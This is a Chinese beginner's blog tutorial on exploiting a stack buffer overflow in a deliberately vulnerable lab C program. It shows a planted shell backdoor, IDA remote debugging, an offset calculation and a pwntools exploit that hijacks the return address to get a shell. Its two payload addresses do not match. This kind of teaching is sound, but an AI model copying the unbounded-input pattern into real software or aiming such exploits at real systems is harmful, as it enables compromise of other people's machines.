汇编如何判断溢出_第一个PWN:栈溢出原理以及EXP的编写

PWN入门有那么难吗,如果你想做,一定可以学会。加油,打工人!

准备

虚拟机:CentOS 6.8 32bit、gcc、socat宿主机:IDA7.0、 Python + pwntools

略有小坑,当宿主机IDA连接不到centOS时,请关闭centOS的防火墙:service iptables stop

大家都说栈溢出是PWN的Hello World,那么我将用一个简单的例子,手把手的来演示一个非常简单的栈溢出利用,顺便学习用下我们的pwntools,万事开头难,但如果你跟着流程走一遍的话,会开启一个新世界的大门。

存在栈溢出的代码分析

稍微懂点C和汇编,这个例子人人都能上手,简单说,有手就行。贴出我们本次实验要使用的C代码,解释的方式我都用注释来进行:

//stack_overflow.c#include // 这是存在栈溢出的函数void stack_overflow(){        char buf[64] = {0};        scanf("%s", &buf); //将输入的数据读入buf中        printf("Hello %s\n", &buf); //打印出buf中的内容}// 为了方便实验这里留下一个后门函数void get_shell(){        system("/bin/sh");}// 程序入口void main(){        stack_overflow();}

分析一下,上边代码存在栈溢出的部分在scanf()函数,因为buf是在栈空间中的,buf是分配了64个字节但是却没有限制输入的长度。

如何栈溢出

既然是栈溢出,那么我相信大家都有一定的基础吧,起码了解下什么是栈。首先最重要的是,我们要知道为什么会有栈的存在,这要从函数的发明说起,感兴趣的可以查阅一下wiki。栈的用途之一就是为了存储局部变量,那么上层函数的返回地址也存储在栈中。

第一次调试

代码写好了,我们先来编译运行一下

[root@localhost pwn]# gcc stack_overflow.c -o stack_overflow[root@localhost pwn]# ./stack_overflow stack_overflowHello stack_overflow

好,结果简简单单,输入一个字符串,然后输出。那么我们打开宿主机的IDA,把我们编译好的程序拖进IDA,然后在stack_overflow的地方下好断点

840c522f1ff71e57101fb4a0cb5029c7.png接下来将IDA安装目录的linux_server拷贝到centOS上,运行起来

[root@localhost pwn]# ./linux_server IDA Linux 32-bit remote debug server(ST) v1.22\. Hex-Rays (c) 2004-2017Listening on 0.0.0.0:23946...

到IDA中,选择 “Debugger” → “Select debugger”;然后选”Remote Linux debugger“,点击“OK”;点击“Debugger” → “Process options…”;Hostname填入centOS的IP,Port默认是23946;其他的默认,然后我们按“F9”开始调试

94ac3748d11af50db7ed4fa5b7ebca5a.png我们继续往下走,直到输入AAAAAA之后

8b97cb7500b49f7bb8fb02619d89000f.png

那么到这里,思路来了,因为上边那个程序没有对输入的长度做校验,对于上边那个程序我们要做的就是计算好输入的长度,然后将后门地址填充到返回的地址,计算一下输入的地址距离buf地址的长度0xBF8C17BC-0xBF8C1770等于0x4C所以接下来思路就很明确了,我们填充0x4C个字符后,再填入后门的地址。

第二次调试

紧接着第一次调试,这次调试我们使用pwntools接管程序的输入输出。首先,我们在centOS上使用socat将输入输出转发到9999端口:

[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0

[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0

然后我们用pwntools连接下:

➜  ~ python3Python 3.7.4 (default, Sep  7 2019, 17:46:28)[Clang 10.0.1 (clang-1001.0.46.4)] on darwinType "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> io = remote('172.16.177.134', 9999)[x] Opening connection to 172.16.177.134 on port 9999[x] Opening connection to 172.16.177.134 on port 9999: Trying 172.16.177.134[+] Opening connection to 172.16.177.134 on port 9999: Done

此时已经连接成功,stack_overflow程序也已经跑起来了;返回IDA,我们在scanf的下一句汇编下好断点;然后选择”Debugger” → “Attach to process…”,选择运行起来的stack_overflow;点击”OK”;然后再按下”F9”,让程序跑起来

7078502eeeaea4b25e13ade3f2002608.png

在Python中,我们继续,发送我们输入的数据,记得要发送一个回车,也可以用sendline()函数,自带回车:

>>> payload = b'A'*0x4c + p32(0x0804848e)>>> io.send(payload)>>> io.send('\n')

接下来IDA断下了,我们继续往下步过,到retn,我们发现即将跳转到get_shell()这里。

4fa96dbbb7229196f466201b68ff06be.png接下来我就不一一调试了,感兴趣的同学可以继续往下跟,这里我直接F9,然后使用pwntools进入命令行的交互模式,为了让大家有点感觉:),我这里加了一个flag.txt:

>>> io.interactive()[*] Switching to interactive modeHello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��lsflag.txt  linux_server    stack_overflow    stack_overflow.ccat flag.txtflag{Y0u_Win_by_ATL_TEAM}

每次调试完完记得io.close(),不然会出现很多stack_overflow的程序。

EXP编写

综合上述,那么EXP应该这样写

#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *io = remote('172.16.177.134', 9999)payload = b'A'*0x4C + p32(0x08048475)io.sendline(payload)io.interactive()io.close()

小结

吐槽下编辑器,第一遍竟然没保存成功,还好文章不长。如果步骤没说清楚,请大家评论。

7837c84725b1d69b8a2bcc0ef931906b.gif

精彩推荐

7980edc816663fe0a5135bbaaff20c1f.png eacaf7718e7f3d295296b58ec441e0e3.png afc076b53cfd52169a3a9e91a3d9a884.png

77c7e5e27a8aab74d3b5d66302f49ad6.png6da8b1e2c8f341f4d3f983dbc14f1c6b.png1a38b4649ef41c8ca489b4f43c3a17a1.png

e83290bdd049ce48a27ca427cf5b1e2a.gif

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值